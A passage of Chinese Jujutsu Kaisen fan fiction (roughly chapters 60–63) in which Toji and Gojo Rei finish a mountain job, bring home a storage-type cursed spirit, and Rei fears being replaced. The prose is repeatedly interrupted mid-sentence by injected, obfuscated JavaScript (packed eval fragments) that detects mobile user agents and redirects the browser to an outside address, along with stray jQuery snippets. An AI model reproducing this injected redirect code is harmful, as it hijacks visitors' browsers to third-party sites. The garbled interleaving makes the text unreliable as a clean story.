走到尽头,风声呼啸而来,前进的余地已然消失无踪。 此处的通道连接着巨大的山体空洞,漏下的雨水在天顶上凝结成了一层浅蓝色的薄冰。沿着蓝冰的方向看去,上方一人多宽的洞窟是离开此处的唯一途径。能看到岩壁上留着登山镐的痕迹——咒术师也是需要使用麻瓜的工具攀登岩壁的。 雪从洞中灌进来,被风稀释成细雪。五条怜抖了一下,一半是因为冷,另一半是想到接下来要爬到这么高的地方,已经忍不住开始胆寒了。 “所以……我们要怎么爬上去?”以防万一,她还是先问问甚尔的计划吧,“我们没有准备登山镐诶……” 要是早知道还要经历攀爬岩壁这一遭,在札幌的时候她肯定就会买齐全套爬山装备的! 甚尔只瞄了一眼,连头都没抬一下,就说:“用你的双手和双脚爬上去。” “啊……” 该说毫不意外吗?五条怜感觉甚尔正是能够说出这种话的人。 “我觉得我不行。我都没爬过山。”她必须坦白现状了,“我没有爬上陡峭岩壁的本事,也没有你那么强壮的肌肉——我还提着咒灵呢,腾不出手!” 说着,她举起手里的咒灵晃了晃,沉沉下坠的重量差点带动他整个人也要一起摇晃起来了。 “要不我在这里等你?” 甚尔抱着手臂,斜眼睨着她。大约琢磨了半分钟,他才垂下手。 “不许偷懒。” 没想到一开口说得居然是这么一句话。 “上来。”他指了指自己的后背,“跟我一起上去。” 五条怜很郁闷:“我没想偷懒。” 但不管怎么说,能够搭上便车,也算是好事一桩——即便这辆便车叫做禅院甚尔。 她跳上甚尔的后背,自己的背上也背着沉重的吉他包,双手环过他的脖颈,很拘谨地擎着,像是不乐意去触碰她。 至于那只发声咒灵的尸体,一时之间不知道放在什么地方才好,只好继续提在手中,于是咒灵尸体就这么落在了甚尔的胸前。 四层夹心面包车诞生了! 毫无疑问,四层夹心面包车的运送效率相当值得赞叹,但有一个无比显著的缺点,那就是车轮先生甚尔每动一下,抓在五条怜手里的咒灵就会拍打在他的胸口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881449|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 痛嘛倒是不痛,就是太奇怪了。 “早知道还是不带你过来了。”所以,爬到半途,发出了这样的感叹。 “事到如今,就不要再说这种话了嘛!”五条怜涨红了脸,“再说了,我也有帮忙祓除那只八爪鱼咒灵的。要是没带上我的话,你肯定会陷入麻烦的。” “怎么可能。”也不知道他是不是在逞强,反正他固执地说,“大不了就是多浪费点时间咒灵的身上。陷入麻烦?不可能的。” “……行吧。” 他非要这么说的话,她也不再辩解了。 而且,撇开满腹怨言,甚尔确实轻松地把她与咒具还有咒灵尸体带到了外头去。单是冲着这一点,五条怜也该对他说句感谢(当然了,最后并没好意思说出口)。 重新回到冷彻的风里,脑袋被冻得晕乎乎,还好人算得上清醒。 至少清醒到能够看清前方的小径,也能够看到小径尽头的小屋,临近一处山崖,似乎是守林人的住处。风吹着一团纸屑轱辘轱辘滚到脚下,熟悉的图案她昨天才看到过——正是车站前那家快餐店的汉堡包装纸。 也就是说,此刻在山顶小屋里住着的,大概不会是守林人。 沿着小径走了几米,甚尔便叫她停下了,独自走向小屋。五条怜躲在倒塌的枯木后头,用手抹了抹睫毛上落下的雪花,紧盯着他的身影。 看到他走近小屋,背影消失在棕色木板拼接的墙面背后,片刻后又出现了。随之而来的是另一个穿着白色滑雪服的男人,他们扭打在一起,没几下他就倒在地上了。都不需要自己登场的时机,甚尔已经朝她招手了,叫她过去了。 还挺轻松的嘛。她想。 加快脚步,小跑过去。 是因为视野正在伴随着脚步晃动不止吗?好像看到白色的滑雪服动了动……啊,不对。 不是好像,那个男人当真动起来了! 不晓得是垂死挣扎还是回光返照,他摇摇晃晃地试图站起,像道幻影,立在甚尔的身后。 在大脑拉响警报之前,五条怜的身体已经开始动起来了。她抓起手边最近的东西——似乎也不用刻意去找,她的手中不就抓着一个沉沉的东西嘛——用力掷了过去。 感谢此刻适时的风,推着这东西顺利而急速地飞向目标对象,漆黑的残影像是一道暗淡的弧光。隔着一段距离,她无法听到撞击时的“砰”一声,但她切实地看到目标对象被击飞了,狼狈地跌下山崖,最后惊恐的尖叫声倒是顺利地传到了耳中。 呼——总算能松一口气了。 五条怜朝甚尔跑过去,大概是小小的得意感在作祟,她感到身体好轻盈,脚步也轻快……等等,为什么她会觉得身体轻盈。 看着空空如也的双手,又看了看回头望着崖底的甚尔,她终于意识到哪里不对经了。 “啊呀。” 她迟钝地眨眨眼,发出惊叫。 “对不起,我把咒灵的尸体也丢下去了!” 61.小球 一不小心把事情搞砸,这种事好像也不是第一回了。 说实话,五条怜并没有什么特别的负罪感,非要说的话,可能还是尴尬的心情更占上风。她都不知道应该说点什么才好了。 嗯。这回说不定会被骂呢。 她已经有这种预感了。 痛骂和抱怨都没有立刻到来。甚尔还在看着山崖下方的动静——也就是寂静一片,没有动静。这是好事一桩 如果跟随他的视线望过去,便能看到突出的一块岩石上炸开的红色痕迹,更深处则是更渺小些的血渍,还有扭曲得几部认不出是人形的人形,周遭散落着裂成了好几块的黑色东西,这显然是咒灵的尸体。 本来就已经半死不活了,又从这么高的地方掉下去,无疑是没有活路了。 甚尔收回目光。 “你把咒灵的尸体丢出去了,是吧?”他摘掉带血的手套,一并丢下山崖,回头对她说,“没事,不打紧。” 反正不是什么大问题。而且现在不用再费心处理尸体了,对他来说倒也算得上是一件省力的好事。 不过,以后得好好补刀才行了。这一点也决不能忘记。 他朝五条怜招招手:“过来吧,搜索一下这家伙有没有留下好东西。” 不知道为什么,五条怜冻得通红的脸颊倏地变得苍白了好多,微张的嘴唇也透着几分僵硬感。 她别扭地走过来,双手紧紧攥着吉他包的肩带,不晓得到底在想些什么。 “干嘛?”甚尔腾出了多余的一点耐心,但也只是随口问道。 五条怜不吱一声,看起来更加扭扭捏捏了,犹豫了一会儿才说:“我们真的要用死人用过的东西吗?总觉得很……怎么说呢,不吉利?” “……” 甚尔无话可说了。 每当他觉得五条怜做出了一点漂亮的好事,或者是展现出一点点小聪明,要不了多久她就必定会说点傻话来消磨他心中对她的好感度。到底是她脑子太不灵光,还是故意不想和自己打好关系?他实在搞不明白。 于是,他决定说一点刻薄的话。 “当然要用,这有什么好忌讳的?你也是‘死人用过的东西’,我都没嫌弃你不吉利。” 从死去母亲的子宫里剖出的生命,确实算得上是“死人用过的东西”没错呢。 不得不说甚尔这话说得相当冒犯人,可五条怜也不知道为什么,一点都没有冒出什么多余的气恼感,可能是因为甚尔说他没有嫌弃自己,也可能是他的这话确实有那么一点好笑——毕竟,这真的是个地狱笑话。 既然没什么好纠结的,那就加快脚步,快点跟上去吧。 小小的山顶小屋,一眼就能看遍。角落里堆着生活垃圾和小小的旅行背包,以及一具尸体。仔细瞅瞅,貌似是守林人。 看来他们这次处决的目标对象是个杀人犯。 这么想着,五条怜觉得心安理得了不少,但并没有把心思尽数说出口。会被甚尔笑的。 除此之外,就没有别的什么了。这里连家具都没有多少,橱柜里装着的也是罐头食品。本以为能够在旅行背包里找到什么好东西,结果只是没吃完的巨无霸套餐而已,冻得像冰块一样,食用价值跌至谷底。 把背包反过来,抖一抖。啪叽——有个什么东西从背包的夹层里掉出来了,看起来圆滚滚的,像是一颗球。 五条怜俯身,拾起小球。咦,怎么摸起来是热乎乎的? 不止热乎乎而已,它摸起来也是柔软的手感,像是一颗肉球,泛着绀紫色,皱巴巴的表皮崎岖不平,还长了几根硬硬的毛,看着渗人。 感觉,是个奇怪的东西。 正这么想着,小球忽然开始蠕动起来,发皱的表皮更加皱起来,好像有什么东西要从里面冒出来了。 五条怜很不争气地被吓到了,并且更不争气地猛抖了一下。小肉球从指缝间掉下去,啪叽啪叽弹了好几下。 每弹跳一下,小球都会膨胀一点。于是到了最后,“啪叽”也变成了“砰”的一声,小肉球变成了半人长的巨大肉虫,从近似人脸的面孔里发出了咕叽的叫声。 五条怜沉默。五条怜呆滞。五条怜尖叫。 “有咒灵啊甚尔——很丑的咒灵!”她已经拉开吉他包的拉链了,“我现在就把它祓除了!” 甚尔还在专注于翻箱倒柜,头也不抬:“哦,行啊。” “嗯……就放心地交给我吧!” 这句放心不是说给甚尔听的,而是五条怜对自己的安慰。 安慰成功地派上用场了吗?说不好。 到底要怎么才能祓除咒灵呢?这也说不好。 五条怜挠挠头。她完全没有概念。 虽然很想以之前的成功经验作为参考,但问题是,祓除了咒灵的她本人也搞不懂一切究竟是怎么实现的。 难道真的只需要拿起枪,然后扣下扳机,就万事大吉了……不对,枪被甚尔拿走了,她对抗咒灵的唯一利器就这么消失无踪了。 或者,她是不是也该学着甚尔的样子,拿上咒具迎战?这样好像稍微靠谱一点。 没有半点磨蹭,五条怜果断地从吉他包里掏出了百分百必中棒球棍,期间约莫深呼吸了四五次,沉重球棍举在手中,压得手臂上的每条肌肉纤维都在痛。 用力敲下去,金属球棍和软乎乎的肉脑袋碰撞出很骇人的声响,但实际上却没有造成任何半点的变化。皱巴巴的脸依旧是那副皱巴巴的模样,长着几根稀疏毛发的脑袋没有凹下去更没有变形。它甚至都没有抬起小眼睛,似乎五条怜根本不是个需要正视的对手。 不服气吗?这倒是没有。她只觉得有点紧张。 正准备再敲打一次,咒灵忽然抬起了长长的上半身,张开难看的厚嘴唇,啊呜一下,把棒球棍吞进了嘴里。 是的,吞进了嘴里——居然吞进去了!? 在三秒钟的震惊过后,五条怜才被吓得大叫起来,冲动之下的条件反射让她想也不想地立刻动手拔出棒球棍,可这只咒灵无牙的嘴就像是长了吸盘一样,紧紧贴住了棒球棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890088|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的金属表层,一点一点往里吞吃,显然是想要把球棍咽下去。 “不许吃!” 被迫和长了一张人脸(而且这张脸还根本不好看)的咒灵面对面,她真的感觉自己的san值正在一点一点往下掉。 “快点吐出来,不许吃——不!许!吃!” 无论是大喊大叫还是煞有介事的要挟,在听不懂人话的咒灵面前,全都排不上用场,它的动作完全没有停下。只能用蛮力了。 在这场堪比拔河的拉锯战中,力气小小的五条怜显然占据不了半点优势,拔着拔着,她就从堂堂正正的站姿变成了惨兮兮地坐在地上。 眼前着球棍部分马上就要被吃光了,她一下子什么道德都顾不上了,用脚拼命去踹那张难看的脸。 不留情面的狠踹终于排上了用场,咒灵“咕”地一声,张大了嘴,把棒球棍吐出来了。 不只是棒球棍而已,他还吐出了更多东西——衣物、书籍、装在玻璃罐里的蝇头,还有身份证件,印在照片上的脸和目标对象完全一致,名字却截然不同。看来这就是他的逃生路径没错了。 这些意外收获让五条怜有点不知所措。匆忙向甚尔投去求救的目光,才发现他早就注意到了这里的动静,正盯着那只咒灵,不知道在想些什么。 忽然,他伸出手,塞进了咒灵的嘴里,吓得五条怜又想大叫了。 居然把手放进这么丑的一张脸里,好恶心! 想都没有多想,她果断地抱住甚尔的腰,拼命往外拽。 有点出乎所料。身材比她壮硕了那么多的甚尔,腰却纤细的很,就算是她都能轻松地环抱住……啊不对,这不是重点! 重点是,五条怜和他压根就不是一个吨位的选手,就算是榨干了全身上下每一丝力气,她都没能把他挪动分毫。抬头一看,他正以一种微妙的表情盯着自己呢。 “你在干嘛?” 他似乎很无奈,这也难怪。但五条怜半点都没察觉出来,急急地说:“我以为你会被这只咒灵吃掉!” “怎么可能。就算它是一只收纳型咒灵,也不可能那么轻松地把我吃进肚子里的。”说着,他分外轻松地拔出了手,并且用这只手拍了拍她的脑袋,“放心。” “呃……” ……好脏。 虽然他的手上既没有粘上口水也没有黏着什么脏兮兮的东西,但毕竟是从那么一张丑脸里拔出来的,怎么想都觉得太恶心了。 甚尔装作没看到她的嫌弃表情。他已经得到了心满意足的东西,可不打算为了矫情的小姑娘折损难得的好心情。 “这是个能派上用场的好东西。”他拍拍咒灵的难看的脑袋,“带回去养。” “……养?” 咒灵也能养吗? 或者是她听错了,耳朵出问题了? “是啊,怎么不能养了?”甚尔耸耸肩,“你就把这东西当做小猫小狗呗。” “……” 小猫小狗那么可爱,怎么能和这个长了人脸的丑东西咒灵比呀! 62.咒灵的饲养指南 甚尔要养咒灵。 甚尔要养一只丑陋的咒灵。 甚尔要像养小猫小狗那样把丑陋的咒灵养在家里! 上述这些结论接连跳进五条怜的大脑里,横冲直撞的,撞得她都要晕过去了。 五条怜真的很希望自己能够冷静地面对这个事实,但现实情况是,光是面对咒灵这张皱巴巴像老头的难看脸蛋,她都觉得不自在到了极点。 想象一下和这副面孔生活在同一屋檐下的场景,难道真要她每天早上亲昵地拍拍它快秃了的丑脑袋吗?嘶——太怪了! 她暗自下定决心,绝对不能和丑陋的咒灵住在一起。 “呐,甚尔……甚尔?” 叫了好几声,甚尔都没回头。 大概是突然卷过来的风吹散了五条怜的声音,也很有可能是甚尔早就预感到她要说点扫兴话了,干脆装作什么都没听见。 总之,他把丑陋咒灵揣在口袋里,头也不回地径直往前走,已经准备下山了,只余下五条怜尴尬地僵在原地。 没办法,还是跟上吧。 下山只有一条路,只好原路返回,重新穿过两处山洞。 一想到被噪音填满耳朵大脑的那种痛楚,五条怜真的觉得好不情愿。她甚至都开始幻想起在山间小屋度过一辈子的可能性了,但甚尔显然是无视了她皱起的面孔中陷进去的每一丝不情愿,强硬地冲她招招手。 啊啊啊,豁出去了! 五条怜已经做好了必死的决心,甚至从外套的夹棉层里扯出了好几团棉絮塞进耳朵里(虽然这都是无用功),又立起领子戴上帽子,做足了万全准备,快步踏进山洞里。 咚——! 钻进耳中的第一个声响是脚步落在岩石上的足音,分外敦实且沉重的一声。紧着这又是咚咚咚的声音,依然是脚步声。 除了脚步声,这里再也没有别的声音了。 “……诶?!” 明明是好事一桩,五条怜却不自觉地摆出了一副惊恐面孔,好像安静的山洞有多么糟糕似的。 甚尔停住脚步:“干嘛?” “听不到声音了。” 他轻哼着:“忘了吗?因为我把那只发出声音的咒灵杀死了。” “唔……确实是这样没错啦。” 可那时盘踞在山洞里的叫声如此鲜明嘈杂,真不像是一只咒灵能够闹出的动静。她莫名觉得,山洞里肯定不只有一只咒灵而已。 抬头去看,天顶黑漆漆的,岩石的缝隙也黑漆漆,就算以她的眼睛,也看不清多少,哪怕真有什么东西栖身其中,也只能当做不存在了吧。 五条怜无奈地收回目光,安慰自己,没有声音就是好事一桩,用不着再纠结什么或是担心什么了。 顺顺利利地下了山,还得坐车回札幌。丑丑的咒灵被甚尔抗在肩上,怎么看都有种不情不愿的感觉。五条怜偷瞄了两眼,鸡皮疙瘩又要起来了。 “我们真的要带着这玩意儿一起上车吗?”她往掌心里哈了口气,搓搓手说,“要是被人看到了,肯定会觉得很怪的。” 甚尔用看笨蛋的表情瞥她:“一般人看不到咒灵。” “我知道的!”她忍不住要替自己辩解,“但不是每个一般人都看不到咒灵啊!要是回程的车上正好遇到了一个天赋异禀有咒力的普通人,那不就麻烦了嘛。” “哎。” 他被五条怜说得有点烦,却也没办法否认她,又不想直白地给出认同,只好给出了很拧巴的一句“行吧”,姑且算是宣告了五条怜的胜利——虽然这算不上什么值得说道的胜利就是了。 想想她刚刚发现这只咒灵的时候……貌似它蜷成了一颗球? 甚尔那时候没专心留意她那边的动静,一时也有点想不起来了。不过,他也不知道该怎么让咒灵变成小球状态,姑且算是扯平了吧。 “喂。”这只咒灵看着有点聪明,甚尔决定直接说出自己的需求,“缩小。” 咒灵一动不动,趴在它的肩上,只“叽——”了一声。 “你明明听见了的。”他攥紧拳头,敲在那颗没毛的脑袋上,“快点。缩小。” 无论是好言好语还是暴力恐吓,全都没能奏效,咒灵保持着那副气人的死样子一动不动。真是白觉得它聪明了。 虽然被气到真的很想把它丢在北海道的冬天冻成冰块,但收纳型咒灵实在是不可多得的优质战利品。没有考虑太久,甚尔敞开了外套,把咒灵一整个塞进里面,然后飞快地拉上拉链,躯干部分看起来稍稍有些微妙的不平整,不过算不上多奇怪。 “这样就没人能看到了吧。” 说着这话的甚尔怎么带着一点莫名的小小骄傲感? 五条怜表情复杂,很艰难地点了点头。 是看不出来了没错……但把丑陋的咒灵抱在衣服里,真的好恶心啊!还是躲远一点吧。 她偷摸摸往旁边迈了一小步,然后又迈了一大步。 绝对就是这之后的一大步暴露出了她的真实心思,甚尔忽然伸出手臂,一下子搭在她的肩上,格外亲昵地把她揽到身边,换上一副无耻的笑:“好。那我们回家去吧。” “呃……” 手臂贴到他的身体了,隔着一层厚重的外套,仍能感觉到咒灵在里面微微蠕动的动静……啊啊,好恶心! 五条怜整个人都僵了,硬是被甚尔像夹带文件夹那样夹着带到了公交车站——这段路途中,他绝对拿自己的痛苦当做小零食那样吃得心满意足。 坐上长途客车,重新回到札幌。驶向东京的船要等到明天早上才会离港,只能现在这里度过一晚了。 无论是走在街头、住在旅馆,还是现在坐在店里吃早午饭,五条怜都忍不住去想甚尔外套底下的东西。 想着那绀紫色的身体,想想它在自己的身体上动来动去……呃啊,简直连摆在面前的汤咖喱都快吃不下去了。 话虽如此,但由于汤咖喱实在是人间难得的美味,所以就算是怀着相当忧郁的心情,她还是顺利地吃下了三大碗。 启程回家,继续在长达十八小时的航行中把所有的耐心全部耗烂。下船之后还要再搭好一阵的电车,耐心都快烂出洞了。 这就是为什么,终于在托儿所接到禅院惠时,五条怜会忍不住把他紧紧抱在怀里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895853|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用力去闻他身上熟悉的奶臭味了。 “托托所!”他还在兴冲冲地重复前些天学会的这个词呢,虽然重复错了。 “嗯,托托所,我们要从托托所回家啦。”她摸摸小海胆的脑袋,熟悉的扎手感,忍不住又抱紧他,“我很想你。” “阿怜,想你。” 笨拙的鹦鹉学舌,但也足够叫人心满意足了。 这句“想你”让五条怜感到前所未有的有劲,扛着小海胆一路走到公寓楼下才觉得手臂发软。想让甚尔帮忙分担一下,却想起他的衣服里藏着一只咒灵,瞬间什么偷懒的心思都没有了,灰溜溜抱着小海胆继续走着,终于赶在他滑到肚子上前顺利迈进了家门。 一到家,禅院惠就开始撒欢了,铆足了劲在家里乱跑,看来心爱的“托托所”也不如家里嘛。 早知道他如此活力十足,就不抱着他一路走回家了。五条怜后知后觉地直到这会儿才意识到这一点,幸好她也不后悔。 至于一起回到家的另一个东西嘛…… 她真有点懊恼自己翻找了雪山小屋里的旅行包。绝对是自己的过分仔细害得现在不得不和丑东西共住一个屋檐下,且未来的每一天都和这副肉嘟嘟的难看面孔打交道。看它每天在家里自在地爬,真觉得心痒痒。那对肉乎乎的小脚绝对是扎在了她的心里头。 对于家中的新住客,小海胆明显是最兴奋的那一个。 在他看来,这只巨大会动的虫子简直是个软绵绵的玩具。他总爱丑宝丑宝地叫唤它,追着它跑东跑西,还会趴在它的背上,让它载着自己在家里跑来跑去,就算揪着脑袋上那几根短毛,它也不会生气。 “喜欢丑宝!”禅院惠甚至给出了这种发言,吓得五条怜赶紧把他抱起来了。 可不能喜欢一只咒灵啊——尤其是这么丑的! 还来不及把这话说出口,丑宝已经自顾自挪动短短的足,往旁边躲开去了。 每次都是这样。一看到五条怜,丑宝就会挪开视线,立刻逃走,就连喂食的时候也是,只要是她投放的蝇头,它必定坚决地扭过头去,非要等到她走了,才会愿意吃上几口。 思来想去,之所以会变成这番僵持不下的状态,八成是因为第一次见面的时候,五条怜对准它的脸狠狠地踹了好几脚,踢得它产生心理阴影了吧。 哼,反正她也没必要被一个丑巴巴的咒灵喜欢! 五条怜气恼地在心里想。 甚尔从房间里走出来,一脸恹恹,自然是完全没有注意到丑宝和五条怜之间尴尬的氛围。他自顾自把丑宝拎了起来,扛在肩头,叹了口气。 “去干活了。”他丢下这么一句,朝玄关走去。 “好。”五条怜磨磨蹭蹭地目送他,临了才说,“一路顺风。” 甚尔也随意地“嗯”了一声,背影消失在门外。 最近工作倒是挺多呢。她想。 昨天也去帮忙处理咒术师了,她跟着甚尔一起,跑到了…… ……诶,等等。 五条怜眨眨眼,终于意识到不对了。 为什么甚尔没有带上她,而是带着丑宝一起去工作了呀! 63.禅院的攻略指南 有种不妙的预感从五条怜的心中扩散开来了,一点一点扭曲成了微妙的危机感。在短暂的一个瞬间里,她想了很多,而这些杂乱思绪之中,最核心的关键点显然是“我会不会被丑宝取代”。 “怎……怎么可能呢!哈哈哈。” 五条怜自言自语地说着,努力用自信且幽默的语调,实际上她的自信早就伴随着讪笑飞快地瘪下去了,变成一团奇形怪状的东西,就这么瘫软在心底,好半天都没有扑棱一下。 嘴上高呼“怎么可能!”,心里装着的却满是“怎么不可能!”。 丑宝是收纳型咒灵,肚子里能装下起码十把咒具都不显端倪,从功能性上来看,完全和她重复了,还比她厉害了不少,毕竟背着吉他包紧追其后的自己可没办法缩成一小团随身携带。 单从这方面来看,尽管不太乐意承认,但丑宝确实更加厉害。 可是可是!——五条怜转念又想。 说到底,丑宝的功能不就只有搬运咒具而已嘛。她可就不一样了,不只具有足够的智力与机动性,还懂得随机应变。在过去的几次工作中,她虽然闯祸过几回,也搞砸过几回,但相比之下,绝对是干得漂亮的次数更多。哪怕只是出于(不存在的)救命之恩,甚尔也该毫不犹豫地选择她,而不是那只难看的咒灵嘛! 更何况,她还在认真地照顾着他的孩子呢。 成功把一只肚子饿就嗷嗷叫的小怪物养成会说话的小海胆,这可不是什么随便说说的简单小事。丑宝它做得到吗! 就这么保持着窝在玄关的姿势,五条怜零零散散地想了一大堆。那么她的自信心是否顺利地重新鼓起来了? 抱歉,没有。 不自信依旧顽固,危机感也没有消失。思来想去,她决定亲自向禅院问问清楚——她指的自然是坐在客厅地毯上玩小汽车的、名字叫做“惠”的那位禅院。 磨磨蹭蹭挪过去,五条怜在他身旁坐下,看他玩了好一会小汽车,才终于找到了插嘴的机会。 “惠——惠!”她夹着喉咙,用前所未有甜腻腻的语调说,“我和丑宝,你更喜欢谁呀?” 禅院惠依依不舍地从小汽车上挪开视线,茫然地抬起头,不知道是不是在认真思索,总之只听到他特别高兴地说:“丑宝!” “什……!” 五条怜夹不住了,情绪一下子冲出来,她差点破音了。 没想到在禅院惠的心里,自己也比不上那只丑陋难看毫无魅力的咒灵!这可真是…… 大受打击,真的是大受打击。 她无力地靠在沙发旁,都不知道该怎么回应小海胆亮晶晶的眼睛才好了,更不知道应该给出怎样哦回答,疲惫地在沙发旁伏了好久,只差一点就要振作不起来了。 要不现在就收拾收拾自行告退吧,这样一来,多少还能给自己留点尊严,总比被赶出去好得多…… 五条怜摇摇晃晃地站起身,下沉的血液倏地升上头顶,带来一种近乎漂浮般的眩晕感。她眨眨眼,一下子清醒了。 不对。离开了这里,她还能去哪儿?无处可去了! 零花钱是存了一点没错,但绝对没有多到后半生无虞的程度,撑死只能维持几个月的生活而已。她暂时也没有其他赚钱的本事,貌似当禅院家的一颗槲寄生才是人生的最优解法。 想着想着,出走的决心就彻底消失无踪了,求生欲转而无限膨胀。她知道,自己得想办法得到更多的肯定,也要比丑宝展现出更优秀的竞争力才行! 没有半秒钟犹豫,五条怜立刻带着小海胆出门去玩了。 先从这个禅院开始攻略起来! 去了公园、去了玩具反斗城、去了甜品店。平常总不让吃的冰激凌吃了三个球,喜欢的模型和玩具也统统拿下,钱包随之小小出血,还好没有到钱库亏空的程度。 然后,手牵手走回家。 禅院惠个子矮,腿也短,歪歪扭扭,走得费劲。五条怜便放慢了脚步,跟着他的节奏,一点一点挪动在人行道上。 才走了不到一百米,小海胆就累了,冲她伸出手,皱起脸装作要哭。五条怜完全没被他骗到,但还是如他所愿,把他在怀里,一起走回家。 整整一年过去,禅院惠长大了好多。去年这时候,他还只是个小屁孩呢。 如今身量长了,会说话了,变得愈发结实敦实,不变的是自己小得可怜的力气。 明明度过的是完全相同的三百六十五天,自己却毫无长进。 个子高了一点五厘米,四舍五入等于零,并且在甚尔的眼中,她依然没有摆脱矮子的标签。 心态方面嘛,更是一如既往,去年在担心甚尔会不会赶他走,现在仍在担心同样的问题,真是太没骨气了。 光是想想,就有够忧愁的了。她忍不住叹气,把滑到肚子上的小海胆重新掂到胸口上。 “惠惠。五条怜轻声唤他,”现在你喜欢谁多一点?我是说在我和丑宝之间。” 禅院惠不说话,伸手去搂她的脖子,脸直往她颈窝贴。是不情愿了吗,还是自己的心情太过急切,压迫到他了? 五条怜有点后悔,正想说不回答也没关系,却听到他叽咕着出声了。 “喜欢阿怜。” 他说着,贴在颈窝的面孔好滚烫。 呀,原来他只是有点不好意思。 一下子读懂海胆尖刺下的柔软,五条怜有点高兴,甚至有一丢丢得意。 看呐,这孩子喜欢她呢! ……她被喜欢着呢。 五条怜低下头,脸颊轻贴他的额头,暖乎乎的,好柔软。 “我也很喜欢惠惠哦。”她小声说着,近乎魔法的话语让怀中的重量都显得不足一提,“最喜欢你啦。” 小海胆缩起身,像是觉得很不好意思,咯咯咯笑起来。五条怜也想笑了。 很可惜,一回到家就看到了丑丑的丑宝,一切轻快的心情全都消失无踪,五条怜的面孔瞬间就耷拉下去了。 居然要落到和咒灵一较高下的程度,自己未免也太惨了吧…… 越想越觉得不服气,趁着谁都不注意,五条怜冲丑宝做了个鬼脸,姑且算是小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903735|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地发泄了一下自己郁闷的心情。一转头,却发现甚尔就站在身后,也不知道有没有被他看到自己刚才敌意满满的行径,一时不禁有些紧张。 “啊……您、您回来啦?”敬语又被用上了,话语也被说得好不自然,“工作还顺利吗?” 甚尔睨了她一眼,八成是偷看到他刚才的小气动作了,只是没有直说,只点了下头:“挺顺利的。” “挺顺利的”……哼。 五条怜心里酸唧唧,脱口而出的话语自然也带上了点酸味:“蛮好的,咒灵也能帮上你的忙。” “是啊。”不知道是不是故意的,甚尔轻笑着说,“比带一个小屁孩搬咒具方便多了。” “呃——!” 不妙,这个对话不妙,必须得阻止这种话题走向! 她这么想着,可根本来不及说点什么,甚尔已经自顾自讲下去了,以一种夸张的、心满意足的口吻。 “哎呀,这只咒灵——你们平时是怎么叫它的?丑宝?——它很方便呐,轻巧又不占空间,带在身上完全不占空间,也不用瞻前顾后的,你说是吧?” 后半句绝对是对五条怜的暗讽! “想要什么咒具,就直接从嘴里掏就是了,虽说挑挑拣拣需要一点时间,但也还算便利。能找到这么一只收纳型咒灵,真是撞大运了。” 想象一下,把手伸进那样一张丑巴巴的嘴里拿咒具……嗯,多亏午餐吃的是泡面,即便真的吐出来也不算亏。 五条怜努力住脑,但不管怎么想,丑宝肯定马上就会取代她的地位了。越想越沮丧,她的脸都垮下去了,垮到甚尔都无法坐视不理,不耐烦地丢出一句“你干嘛这副表情”。 “没干嘛。”她先逞强了一句,可心里还是难受,“我担心以后没办法在工作上帮你了,然后被你赶出去。” 甚尔一副不出所料的表情,笑她是想得太多的笨蛋:“有什么好担心的,我现在不会赶你走。你不是还在照顾惠嘛?咒灵可不晓得怎么照顾孩子。” 承诺一点也没能说服五条怜,她倏地站起来:“只会做这些有什么用呀!等到以后惠惠长大一点了、能自理生活了,你肯定就不需要我了,对不对?” 她是在说气话。 脱口而出的是“你肯定不需要我”,其实渴望得到的回答是“无论如何你一定会需要我”。 如愿了吗?没有。甚尔的表情却原僵住了,摸了摸后脑勺,好不自在的姿态,心虚的目光早已移到不知何处去了。 好嘛,果然说中了! 虽然很清楚自己并没能和甚尔结成什么奇妙的羁绊,但意识到这个事实也太伤人心了。 五条怜鼻子一酸,还好眼泪没冒出来。 “我喜欢这里,甚尔……别让我走,可以吗?” 她很认真地说着,好几次都试图去迎上他的目光,但他低垂眼眸,像在逃避。 啪嗒啪嗒,禅院惠追着丑宝爬过来,闹腾腾的。 “哦。” 在啪嗒啪嗒声的间隙中,他说。 “不会让你走的。” 64.警惕心 